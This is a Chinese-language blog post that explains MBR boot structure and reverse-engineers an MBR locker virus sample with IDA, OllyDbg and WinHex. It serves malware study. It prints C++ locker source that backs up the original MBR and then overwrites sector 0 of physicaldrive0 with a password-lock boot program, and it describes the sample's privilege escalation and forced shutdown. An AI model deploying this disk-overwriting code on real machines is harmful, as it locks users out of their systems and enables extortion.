HackPluto's Blog

MBR病毒分析与逆向

字数统计: 3.6k阅读时长: 13 min
2020/12/04 Share

MBR锁机病毒原理分析与逆向分析

本文将介绍MBR相关知识以及MBR病毒原理,并且使用静态与动态两种方式分析一个MBR锁机病毒

MBR相关知识

MBR

主引导记录中(446 byte)包含了硬盘的一系列参数和一段引导程序。引导程序主要是用来在系统硬件自检完后引导具有激活标志的分区上的操作系统。它执行到最后的是一条JMP指令跳到操作系统的引导程序去。这里往往是引导型病毒的注入点,也是各种多系统引导程序的注入点。但是由于引导程序本身完成的功能比较简单,所以我们可以完全地判断该引导程序的合法性(看JMP指令的合法性),因而也易于修复。

操作系统启动流程

    1. 开机;
    1. BIOS加电自检(POST—Power On Self Test),内存地址为0fff:0000;
    1. 将硬盘第一个扇区(0头0道1扇区,也就是Boot Sector)读入内存地址0000:7c00处;
    1. 检查(WORD)0000:7dfe是否等于0xaa55.若不等于则转去尝试其他介质;如果没有其他启动介质,则显示 ”No ROM BASIC” ,然后死机;
    1. 跳转到0000:7c00处执行MBR中的程序;
    1. MBR先将自己复制到某位置处(有很多种情况),然后继续执行;
    1. 在主分区表中搜索标志为活动的分区.如果发现没有活动分区或者不止一个活动分区,则停止;
    1. 将活动分区的第一个扇区读入内存地址0000:7c00处;
    1. 检查(WORD)0000:7dfe是否等于0xaa55,若不等于则显示 “Missing Operating System”,然后停止,或尝试软盘启动;
    1. 跳转到0000:7c00处继续执行特定系统的启动程序;
    1. 启动系统.

以上步骤中(2),(3),(4),(5)步由BIOS的引导程序完成;(6),(7),(8),(9),(10)步由MBR中的引导程序完成.

什么是MBR锁机病毒

MBR病毒是指寄生在磁盘引导区或主引导区的计算机病毒。病毒利用系统引导时,不对主引导区内容正确与否进行判别的缺点从而入侵系统,勒索或进行其它破坏。

病毒原理

主引导区共512字节,结构体如下:

1
2
3
4
5
6
7
8
typedef struct _MBR
{
unsigned char BootRecord[440]; // 引导程序
unsigned char ulSigned[4]; // Windows磁盘签名
unsigned char sReserve[2]; // 保留位
unsigned char Dpt[64]; // 分区表
unsigned char EndSign[2]; // 结束标志
}MBR, *PMBR;

引导程序:0x0——0x1b7(MBR的前440个字节),引导程序会判断MBR的有效性,判断磁盘分区的合法性,并且把控制权交给操作系统。

磁盘签名:0x1b8——0x1bb(4字节),Windows依靠磁盘签名来识别硬盘。如果该签名丢失,则Windows认为该磁盘没有被初始化,是没法开机的。

保留位:0x1bc——0x1bd(2字节)

分区表:0x1be——0x1fd(64字节),分区表被称为DPT(DiskPartition Table),它在MBR中是一个非常关键的数据结构。分区表是用来管理硬盘分区的,如果丢失或者被破坏的话,硬盘的分区就会丢失。

结束标志:0x1fe——0x1ff(2字节),DPT后面两个字节,“55 AA”

为了更好的了解MBR病毒的原理,我在网上找到了一个开源的MBR病毒的源码,核心部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#define  KeySize 0xEB
#define Key (KeySize+1)
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
int ReadDisk(int Id, int num, unsigned char *buffer);
int WriteDisk(int Id, int num, unsigned char* buffer);

void CLock_DiskDlg::OnBnClickedButton1()
{
CString c_Str;
CStringA c_StrA;
char ckeys[256] = { 0 };
unsigned char cMbr[512] = { 0 };
int nLen; //锁里面的密码长度只有8位

GetDlgItemText(IDC_EDIT1, c_Str);
c_StrA = c_Str;

memcpy(ckeys, c_StrA.GetBuffer(c_StrA.GetLength()), c_StrA.GetLength());
nLen = strlen(ckeys);
if (nLen == 0 || nLen >= 10)
{
MessageBoxA(0, "密码应在0-10位",0 , 0);
}

//对锁进行加工
lock_disk[KeySize] = nLen;
memcpy(&lock_disk[Key], ckeys, nLen);
if (ReadDisk(0, 1, cMbr) == 0)
{
getchar();
exit(-1);
}
WriteDisk(2, 1, cMbr);
WriteDisk(0, 1, lock_disk);
MessageBoxA(0,"加锁成功!勿重复加!",0,0);

}

int ReadDisk(int Id, int num, unsigned char *buffer)
{
/*
读取扇区
id = ID号
num = 读取数量
成功返回读取字节数
*/
HANDLE hFile = NULL;
int offset = 0;
int ReadSize = 0;
DWORD Readed = 0;
offset = Id * 512;
ReadSize = num * 512;
if (buffer == NULL)
{
return ReadSize;
}
hFile = CreateFileA("\\\\.\\\\physicaldrive0",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBoxA(0, "不能打开 \\\\.\\\\physicaldrive0", 0, 0);
return 0;
}
SetFilePointer(hFile, offset, 0, 0);
ReadFile(hFile, buffer, ReadSize, &Readed, NULL);
CloseHandle(hFile);
return Readed;
}
int WriteDisk(int Id, int num, unsigned char* buffer)
{
/*
写扇区
*/
HANDLE hFile = NULL;
int WriteSize = 0;
int offset = 0;
DWORD Writed = 0;
offset = Id * 512;
WriteSize = num * 512;
if (buffer == NULL)
{
return WriteSize;
}
//打开
hFile = CreateFileA("\\\\.\\\\\physicaldrive0", 1073741824, 1, 0, 3, 128, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBoxA(0, "不能打开 \\\\.\\\\physicaldrive0", 0, 0);
return 0;
}
SetFilePointer(hFile, offset, 0, 0);
WriteFile(hFile, buffer, WriteSize, &Writed, 0);
CloseHandle(hFile);
return WriteSize;
}

关于这行代码有一点需要解释

1
2
3
4
hFile = CreateFileA("\\\\.\\\\physicaldrive0",
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

\\,实际上是一个反斜杠,因此真实路径名是\\.\\physicaldrive0,这个路径就是引导扇区的路径

通过这个代码我们可以看出来这个病毒的逻辑是先读取磁盘MBR的内容然后将MBR存储在某一个空闲分区中,然后将自己的恶意引导程序覆盖到原来MBR引导程序的位置这样系统启动的时候就会先加载恶意的引导程序。

这个引导程序是使用汇编编写在上面的代码中并没有展示,具有的功能通常包括提示输入密码,验证密码,如果密码正确恢复正常的MBR不正确则进行别的操作等。

逆向分析

现在我们已经拿到了一个病毒样本

在XP虚拟机中运行该病毒,虚拟机自动关机,重新启动后,出现这样一个界面,发现需要输入密码

对于这个样本,我的逆向目标有三个:

    1. 找到开机的密码
    1. 分析出该病毒主要的工作逻辑
    1. 分析出覆盖后MBR中的内容

对于目标1,首先我采用的方法是查看IDA中的字符串窗口看有没有可疑的字符串,因为一般黑客设置的密码如果是静态写在二进制文件中的一般是具有某种意义或者具有关键字的字符串不会是一串随机字符

由于该二进制文件还是比较大的,去除掉函数名和乱码字符后字符串数量仍然很多,试了几个我觉得很像密码的字符串后发现都不对,我也就放弃了这个思路,换了一个方向-——先去研究这个病毒的工作逻辑

逆向思路

使用IDA打开这个文件后发现函数数量很多

如果直接从main函数开始分析显然是不合理的,所以我这里采取的思路是抓关键,分析重点

从前面的开源代码中我们可以看到MBR病毒关键的点有读取MBR内容,写MBR内容,重新启动,但是还有一部分在开源代码中并没有展示出来就是提权,只有提权了才可以实现最后关机的功能,所以我逆向这个二进制程序关注的点以及被聚焦在四个方面:

  • 1.读MBR
  • 2.写MBR
  • 3.提权
  • 4.关机

接下来将逐一进行分析

读写扇区

通过在OD中查找特征字符串,可以看到恶意代码在读写扇区前先将自己准备好的恶意MBR从二进制文件中拷贝进了内存中。

针对读写扇区函数的定位主要是通过特征字符串先大致定位函数位置,从开源代码中我们可以看到,针对扇区的操作一定会使用到 physicaldrive0 字符串,所以从这个字符串作为切入点

可以看到有两个函数都使用了这个字符串,进一步分析后两个函数长得很像,而且函数逻辑很复杂使用了很多被调函数,这个地方我使用OD动态调试配合winhex查看扇区内容,根据逻辑程序一定是先读扇区再写扇区,所以我在两个函数的地方下断点先运行到哪个函数,哪个就是读扇区,通过调试发现sub_004014F4函数,并且在运行完另一个函数后MBR出现了改变所以我们正确定位到了MBR的读写函数

MBR改变前后:

首先分析读MBR函数

这行代码从传入的参数就可以判断出是一个实现CreateFileA函数的功能,因为sub_4019B0函数十分复杂,所以我认为这个函数并不是简单的对CreateFileA函数进行的一个封装需要进一步分析

进入sub_4019B0后发现程序通过索引的方式将一个变量赋值为字符串“CreatFileA”

接着通过LoadLibraryA的方式加载kernel32.dll下的CreatFileA函数

1
2
3
4
5
6
7
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);

从指定的文件或输入/输出(I / O)设备读取数据。

可以看到程序将正常MBR内容读到了堆中

接着是写MBR的函数

通过前面的分析我们已经知道了写MBR函数是在sub_0040178E

在OD中在这个函数的位置下断点,接着单步调试同时观察winhex中的内容看扇区在哪个函数的位置被改变

接下来通过单步调试可以发现在函数sub_4019B0中调用了writefile实现写扇区的操作,将正常MBR从内存中写入了偏移为0x400的扇区

接着第二次调用write_mbr函数

然后在sub_4019B0中调用了writefile实现写扇区的操作,将恶意MBR从内存中写入MBR引导程序区

提权

完成了读写MBR操作后,恶意程序接下来的操作就是要关机,但是普通程序并不具有关机的权限,所以这里恶意程序先实现了提权的操作,在Windows下SeDebugPrivilege等关键字常常和提权相关,
一般搭配以下四个函数:

1
2
3
4
GetCurrentProcessID 得到当前进程的ID
OpenProcessToken 得到进程的令牌句柄
LookupPrivilegeValue 查询进程的权限
AdjustTokenPrivileges 判断令牌权限

在IDA导入表中可以看到相关函数

再查看对该函数的交叉引用可以定位到提权函数

接下来介绍一些关于Windows进程权限相关的知识

Windows权限与进程令牌

我们要修改一个进程的访问令牌,首先要获得进程访问令牌的句柄,这可以通过OpenProcessToken得到

1
2
3
4
5
  BOOL OpenProcessToken(
    __in HANDLE ProcessHandle, //要修改访问权限的进程句柄
    __in DWORD DesiredAccess, //指定你要进行的操作类型
    __out PHANDLE TokenHandle //返回的访问令牌指针
  );

第一参数是要修改访问权限的进程句柄;
第二个参数指定你要进行的操作类型,
第三个参数就是返回的访问令牌指针;
如要修改访问令牌的特权,我们要指定第二个参数为TOKEN_ADJUST_PRIVILEGES = &H20(其它一些参数可参考Platform SDK)。
通过这个函数我们就可以得到当前进程的访问令牌的句柄(指定函数的第一个参数为GetCurrentProcess()就可以了)。
接着我们可以调用AdjustTokenPrivileges对这个访问令牌进行修改。

AdjustTokenPrivileges的原型如下:

1
2
3
4
5
6
7
8
  BOOL AdjustTokenPrivileges(
    HANDLE TokenHandle, // handle to token
    BOOL DisableAllPrivileges, // disabling option
    PTOKEN_PRIVILEGES NewState, // privilege information
    DWORD BufferLength, // size of buffer
    PTOKEN_PRIVILEGES PreviousState, // original state buffer
    PDWORD ReturnLength // required buffer size
  );

第一个参数是访问令牌的句柄;
第二个参数决定是进行权限修改还是丧失(Disable)所有权限;
第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;
第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;
第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;
最后一个参数为实际PreviousState结构返回的大小。

关机

关机操作同样是使用敏感函数进行分析,对于Windows系统来说要完成关机操作,通常的做法是以下几个函数

1
2
3
system()
winexec()
exitwindowsex()

通过在IDA中查找相关函数,最终确定这个病毒使用的是第三个

MBR引导代码分析

我们知道MBR的功能就是找到并且引导操作系统的启动程序,为了更好的理解MBR工作原理,我将MBR反汇编使用IDA分析

首先在winhex中选中MBR的512字节,右键编辑保存为新文件

使用IDA加载,选择16位汇编

并且加载到0x7c00的位置,可以看到汇编代码

通过分析,可以发现MBR汇编代码与上文提到的MBR功能相一致.

接下来分析一下恶意的MBR程序,使用同样的方法导出恶意MBR代码,使用IDA打开

可以看到这里IDA默认将代码解析成了数据

修改方式是在segment位置按一下C

分析这个恶意MBR程序只需要找到关键的几个INT指令就可以理清所有的逻辑了,我们可以看到程序先使用 INT 10H 这个是输出到屏幕的中断,所以我们可以判断这部分代码是为了在屏幕上输出提示输入密码的信息,接下来是一个INT 16H

这个是键盘输入的中断,我们可以判断出这是一个让用户输入密码的中断

接下来是两个INT 13H的中断

这两个是分别对磁盘读和写的中断,这里的功能是如果用户输入的密码正确则将正确的MBR程序恢复到MBR引导扇区中完成正常的开机操作.

到这里这个MBR的所有重要功能以及主体汇编代码已经分析完了.

CATALOG
  1. 1. MBR锁机病毒原理分析与逆向分析
    1. 1.1. MBR相关知识
      1. 1.1.1. MBR
      2. 1.1.2. 操作系统启动流程
      3. 1.1.3. 什么是MBR锁机病毒
    2. 1.2. 病毒原理
    3. 1.3. 逆向分析
      1. 1.3.1. 逆向思路
      2. 1.3.2. 读写扇区
      3. 1.3.3. 提权
        1. 1.3.3.1. Windows权限与进程令牌
      4. 1.3.4. 关机
    4. 1.4. MBR引导代码分析